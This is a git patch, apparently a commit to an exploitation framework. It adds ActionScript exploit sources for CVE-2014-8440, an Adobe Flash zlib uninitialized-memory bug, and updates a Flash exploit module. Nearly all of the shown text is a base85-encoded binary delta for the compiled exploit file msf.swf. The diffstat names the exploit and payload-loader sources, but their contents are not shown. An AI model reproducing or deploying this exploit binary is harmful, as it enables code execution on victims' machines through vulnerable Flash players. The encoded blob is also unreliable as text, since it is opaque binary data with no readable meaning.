Bin 18612 -> 21802 bytes external/source/exploits/CVE-2014-8440/Elf.as | 235 ++++++++++ .../source/exploits/CVE-2014-8440/Exploit.as | 421 ++++++++++++++++++ .../CVE-2014-8440/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2014-8440/ExploitVector.as | 74 +++ .../exploits/CVE-2014-8440/Exploiter.as | 403 +++++++++++++++++ .../source/exploits/CVE-2014-8440/Logger.as | 32 ++ external/source/exploits/CVE-2014-8440/PE.as | 72 +++ ...obe_flash_uncompress_zlib_uninitialized.rb | 19 +- 9 files changed, 1333 insertions(+), 8 deletions(-) create mode 100755 external/source/exploits/CVE-2014-8440/Elf.as create mode 100755 external/source/exploits/CVE-2014-8440/Exploit.as create mode 100755 external/source/exploits/CVE-2014-8440/ExploitByteArray.as create mode 100755 external/source/exploits/CVE-2014-8440/ExploitVector.as create mode 100755 external/source/exploits/CVE-2014-8440/Exploiter.as create mode 100755 external/source/exploits/CVE-2014-8440/Logger.as create mode 100755 external/source/exploits/CVE-2014-8440/PE.as diff --git a/data/exploits/CVE-2014-8440/msf.swf b/data/exploits/CVE-2014-8440/msf.swf index c6e47d226d51239e078fece012f402ad019ec62f..a677624095bb658d2f57c442ae2f83125c20c94a 100755 GIT binary patch delta 21691 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 